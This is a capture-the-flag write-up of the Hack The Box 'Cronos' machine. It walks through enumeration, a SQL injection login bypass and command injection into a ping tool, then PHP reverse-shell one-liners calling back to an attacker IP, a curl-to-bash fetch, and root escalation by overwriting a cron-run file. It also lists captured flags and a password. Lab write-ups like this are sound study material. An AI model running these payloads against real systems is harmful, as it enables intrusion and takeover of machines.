Tracker
- User
- root
Loot
Proofs
File | Flag |
---|---|
user.txt | 51d236438b333970dbba7dc3089be33b |
root.txt | 1703b8a3c9a8dde879942c79d02fd3a0 |
Passwords
Username | Hash | Cleartext | Notes |
---|---|---|---|
admin | 4f5fffa7b2340178a716e3832451e058 | md5 from admin.users db | |
admin | kEjdbRigfBHUREiNSDs |
Interesting Artifacts
Artifact | Original Path | Saved Path | Notes |
---|---|---|---|
http://cronos.htb | Laravel PHP Framework is present | ||
http://admin.cronos.htb | |||
ns1.cronos.htb |
Summary
OS: Linux 4.4.0-72-generic
Distribution: Ubuntu 16.04.2 LTS
Architecture: x86_64
FQDN: ?
vhosts: ?
Lessons Learned
Make sure to really look at script output. Don't skim over anything that sticks out as odd. I saw the writable executable path that was present in a cron job, and thought that might be useful, but then scrolled back up in the output to "checK". I don't know what I was checking, I think I thought that alert was just for the path writeability, not that it was a scheduled job itself. I didn't even know it executed as root until I saw ippsec mention it. The red exclamation mark should have tipped me off a bit also.
Now that I'm watching the ippsec video on this box, I didn't even think about what he jumped to. I jumped straight to just overwriting the entire artisan file. The method ippsec used was to define his own scheduled command in /var/www/laravel/app/Console/Kernel.php. He was able to figure this out by Googling for 'Laravel scheduler' or something like that. Then, instead of just sending back a reverse shell or something, he created the following C code:
int main(void)
{
setuid(0);
setgid(0);
system("/bin/bash");
}
Then he compiled it with gcc on his kali host, then uploaded and made it executable. Then he changed the "payload" in the Kernel.php file to:
$schedule->exec('chown root:root /var/temp/ippsec; chmod 4755 /var/temp/ippsec')->everyMinute(();
Then he waiting another minute for cron to run again, updating the compiled c binary ippsec to be owned by root, and set the suid bit. This will allow him to run the executable and escalate himself to root.
Solution
Enumeration
Open Ports
ssh on tcp/22
OpenSSH 7.2p2
domain on tcp/53
ISC BIND 9.10.3-P4
domain on udp/53
http on tcp/80
Apache httpd 2.4.18
Manual Enumeration
As always, I begin my enumeration by running a quick, full, and UDP Nmap port scan, followed up by service-specific Nmap script scans against detected exposed ports.
Ok, time to look at the service script scans.
SSH supports pubkey and pwd auth.
\| Supported authentication methods:
\| publickey
\|\_ password
The DNS scans on tcp/53 didn't come back with anything interesting, however it recommended running a different script arg.
\|\_dns-nsec-enum: Can\'t determine domain for host 10.10.10.13; use dns-nsec-enum.domains script arg.
Next I looked at the scan results for tcp/80.
Nothing really jumped out at me here either. The index.html page was a default It's Working page, but it made some reference to vhosts, so I guess I'll fuzz for those next.
Oh, before that though I should add this in to my hosts file and see if that gives me any difference. - Oh yup, that changed something, I have a different page here.
Ok, I'll fire this vhost scan out, then kick off a re-enumeration of the http server targeting the FQDN this time.
\| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ································· 39s 17:07:56 ─╮
❯ gobuster vhost -u <http://cronos.htb:80> -w \~/cybersecurity/Tools/host-tools/git-tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o ./scans/vhosts.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://cronos.htb:80>
\[+\] Threads: 10
\[+\] Wordlist: /home/borari/cybersecurity/Tools/host-tools/git-tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
\[+\] User Agent: gobuster/3.0.1
\[+\] Timeout: 10s
===============================================================
2020/10/08 17:09:04 Starting gobuster
===============================================================
Found: admin.cronos.htb:80 (Status: 200) \[Size: 2580\]
Alright, it's nice when things work out the way you hoped. I added the admin vhost to my hosts file, then I kicked off my http tcp/80 scans against admin.cronos.htb.
sslscan --show-certificate admin.cronos.htb:80 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_sslscan.txt"&
nmap -vv --reason -Pn -sV -p 80 --script="banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_nmap.txt" -oX "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/xml/admin_http_nmap.xml" admin.cronos.htb&
curl -sSik [http://admin.cronos.htb:80/](http://admin.cronos.htb:80/) -m 10 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_index.html"&
curl -sSik [http://admin.cronos.htb:80/robots.txt](http://admin.cronos.htb:80/robots.txt) -m 10 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_robots.txt"&
if hash wkhtmltoimage 2> /dev/null; then wkhtmltoimage --format png [http://admin.cronos.htb:80/](http://admin.cronos.htb:80/) /home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_screenshot.png; fi&
whatweb --no-errors -a 3 -v [http://admin.cronos.htb:80](http://admin.cronos.htb:80) 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_whatweb.txt"&
nikto -ask=no -h [http://admin.cronos.htb:80](http://admin.cronos.htb:80) 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_nikto.txt"&
gobuster dir -u [http://admin.cronos.htb:80/](http://admin.cronos.htb:80/) -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp" -o "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_gobuster.txt"&
I also kicked them off on cronos.htb.
Now to review all this. I started with the results from admin.cronos.htb. There were a few gobuster discovered files.
/config.php (Status: 200) \[Size: 0\]
/index.php (Status: 200) \[Size: 2580\]
/index.php (Status: 200) \[Size: 2580\]
/logout.php (Status: 302) \[Size: 0\]
/server-status (Status: 403) \[Size: 304\]
/session.php (Status: 302) \[Size: 0\]
/welcome.php (Status: 302) \[Size: 439\]
I kicked off a gobuster scan of the same admin.cronos.htb root with the medium dictionary.
\| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ·································· INT ✘ 17:34:22 ─╮
❯ gobuster dir -u <http://admin.cronos.htb:80/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -l -x \"txt,html,php,jsp\" -o ./scans/admin_http_gobuster-med.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://admin.cronos.htb:80/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
\[+\] Status codes: 200,204,301,302,307,401,403
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: txt,html,php,jsp
\[+\] Timeout: 10s
===============================================================
2020/10/08 17:37:27 Starting gobuster
===============================================================
/index.php (Status: 200) \[Size: 2580\]
/welcome.php (Status: 302) \[Size: 439\]
Then I took a look at the www results. There were some other discovered files here also.
/css (Status: 301) \[Size: 306\]
/favicon.ico (Status: 200) \[Size: 0\]
/index.php (Status: 200) \[Size: 2319\]
/index.php (Status: 200) \[Size: 2319\]
/js (Status: 301) \[Size: 305\]
/robots.txt (Status: 200) \[Size: 24\]
/robots.txt (Status: 200) \[Size: 24\]
/server-status (Status: 403) \[Size: 298\]
/web.config (Status: 200) \[Size: 914\]
I'll run a medium scan against this vhost also I guess.
\| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ·········································· 17:46:06 ─╮
❯ gobuster dir -u <http://cronos.htb:80/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -l -x \"txt,html,php,jsp\" -o ./scans/www_http_gobuster-med.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://cronos.htb:80/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
\[+\] Status codes: 200,204,301,302,307,401,403
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: txt,html,php,jsp
\[+\] Timeout: 10s
===============================================================
2020/10/08 17:46:12 Starting gobuster
===============================================================
/index.php (Status: 200) \[Size: 2319\]
The host is doing some sort of rewriting.
Also, the admin vhost has ads on the page, via Carbon.
EDB shows a deserialization RCE exploit targeting PHP Laravel Framwork. It does need a string from a .env file.
PHP Laravel Framework 5.5.40 / 5.6.x \< 5.6.30 - token Unserialize Remote Comma \| linux/remote/47129.rb
//BREAK//
What can we do with a listening DNS server? Zone transfer, domain brute force, etc. I hit the target with nslookup.
\| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ····························· 10m 21s 18:05:45 ─╮
❯ nslookup ─╯
\> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
\> 10.10.10.13
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
\>
Can I do a Zone Transfer? Yes!
\| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ································· 10s 18:14:21 ─╮
❯ dig axfr \@10.10.10.13 cronos.htb ─╯
; \<\<\>\> DiG 9.16.6-Debian \<\<\>\> axfr \@10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
[www.cronos.htb](http://www.cronos.htb). 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 43 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Thu Oct 08 18:16:08 EDT 2020
;; XFR size: 7 records (messages 1, bytes 203)
There we go, there is also a www vhost. Oh, it's the same as cronos.htb.
I should test the login page with sqlmap next. To do that, I grab the login request in Burp, save it to a .req file, and feed that to sqlmap.
| ~/cybersecurity/htb/boxes/10.10.10.13-cronos/exploit ·································· 18:25:53 ─╮
❯ sqlmap -r admin.cronos.htb.req --dump ─╯
___
__H__
___ ___["]_____ ___ ___ {1.4.9#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| [http://sqlmap.org](http://sqlmap.org)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:26:09 /2020-10-08/
[18:26:09] [INFO] parsing HTTP request from 'admin.cronos.htb.req'
[18:26:09] [INFO] testing connection to the target URL
[18:26:10] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:26:10] [INFO] testing if the target URL content is stable
[18:26:10] [INFO] target URL content is stable
Ok, so I now know that the username field us injectable.
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
\-\--
Parameter: username (POST)
Type: time-based blind
Title: MySQL \>= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin\' AND (SELECT 6544 FROM (SELECT(SLEEP(5)))wwwP) AND \'BkGM\'=\'BkGM&password=admin
\-\--
Since I knew it was injectable, I manually brute forced for an injectable string. It ended up being one that ended in with the comment dashes.
Once I was logged in, I saw that there was a tool that allowed me to execute traceroute and ping. If I can specify the target argument, can I just pass additional system commands through with it? Yes, I can. Also, I'm running in the context of www-data.
It looks like nc is installed. It didn't work to send a reverse shell back though.
I know php is on the box, can I use that?
8.8.8.8;php -r '$sock = fsockopen("10.10.14.21",445);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);'
Using the above oneliner in the Net Tool v0.1 input form sent back a shell that I caught on my nc listener.
\| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ·········································· 13:54:28 ─╮
❯ nc -nvlp 443 ─╯
listening on \[any\] 443 \...
connect to \[10.10.14.21\] from (UNKNOWN) \[10.10.10.13\] 55896
/bin/sh: 0: can\'t access tty; job control turned off
\$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
\$
I can read the user's home directory, and the user.txt file.
ll /home
total 12K
drwxr-xr-x 3 root root 4.0K Mar 22 2017 .
drwxr-xr-x 23 root root 4.0K Apr 9 2017 ..
drwxr-xr-x 4 noulis noulis 4.0K Apr 9 2017 noulis
www-data@cronos:/var/www/admin\$ ll /home/noulis
ll /home/noulis
total 44K
drwxr-xr-x 4 noulis noulis 4.0K Apr 9 2017 .
drwxr-xr-x 3 root root 4.0K Mar 22 2017 ..
-rw\-\-\-\-\-\-- 1 root root 1 Dec 24 2017 .bash_history
-rw-r\--r\-- 1 noulis noulis 220 Mar 22 2017 .bash_logout
-rw-r\--r\-- 1 noulis noulis 3.7K Mar 22 2017 .bashrc
drwx\-\-\-\-\-- 2 noulis noulis 4.0K Mar 22 2017 .cache
drwxr-xr-x 3 root root 4.0K Apr 9 2017 .composer
-rw\-\-\-\-\-\-- 1 root root 259 Apr 9 2017 .mysql_history
-rw-r\--r\-- 1 noulis noulis 655 Mar 22 2017 .profile
-rw-r\--r\-- 1 root root 66 Apr 9 2017 .selected_editor
-rw-r\--r\-- 1 noulis noulis 0 Mar 22 2017 .sudo_as_admin_successful
-r\--r\--r\-- 1 noulis noulis 33 Mar 22 2017 user.txt
User Compromise
EoP Enumeration
There are multiple files owned by root in the user noulis home directory. This would indicate the user can sudo to root, right?
The .composer/ subdirectory has pub keys. I printed them out and saved them locally.
cat keys.dev.pub;echo;echo;cat keys.tags.pub;echo
I ran the linux smart enum shell script. I didn't save it on the target machine, I sourced it with wget and redirected it to bash.
curl -s http://10.10.14.21/linux_smart_enum.sh | bash /dev/stdin -l 1
I've never seen a full name in the /etc/passwd file like this before.
There's a git repo in user noulis home directory. I saw this earlier and didn't even think about looking at commit diffs until this enum script ran.
Right, There is also that mysql server listening to localhost.
Also, there is a crontab job running every minute as root, and I can write to it's path. The crontab command executes via php, so I will have to use another php oneliner.
I echoed the following php reverse shell into a test file on the target. I then called it with php. I was able to confirm my syntax was correct and that I should receive a shell when cron executes.
echo ' <?php $sock = fsockopen("10.10.14.21",445);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);' > test
I then echo'd the PHP one-liner into the file executed by the cron job.
echo ' <?php $sock = fsockopen("10.10.14.21",445);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);' > /var/www/laravel/artisan
And I caught my shell about a minute later.
\| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ·········································· 15:17:15 ─╮
❯ nc -nvlp 445 ─╯
listening on \[any\] 445 \...
connect to \[10.10.14.21\] from (UNKNOWN) \[10.10.10.13\] 38266
/bin/sh: 0: can\'t access tty; job control turned off
\# id
uid=0(root) gid=0(root) groups=0(root)
\#